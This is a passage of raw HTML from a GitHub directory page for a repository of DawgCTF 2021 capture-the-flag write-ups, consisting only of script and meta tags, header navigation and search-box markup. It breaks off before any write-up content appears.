integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B70E:E048:103449F:10E47A8:61830703" data-pjax-transient="true"/><meta name="html-safe-nonce" content="84a00f71661919f93d8c6799ea641d756853b0b1c23592853697d98da852f8bb" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzBFOkUwNDg6MTAzNDQ5RjoxMEU0N0E4OjYxODMwNzAzIiwidmlzaXRvcl9pZCI6IjIxODMwNTgxNDgzMjgwOTczMSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="20eedd679b4d58e47fb1c913559c3b5ae40525fe318b98a208f5572d6885d56c" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="7OqzG3I2vktq+7S3jrrZLXruo7k6av3sPWuwPjLauVOIIa2gO6fufcfWbuyubyN5/inEz/JnTH8p4nLhtbC95Q==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search 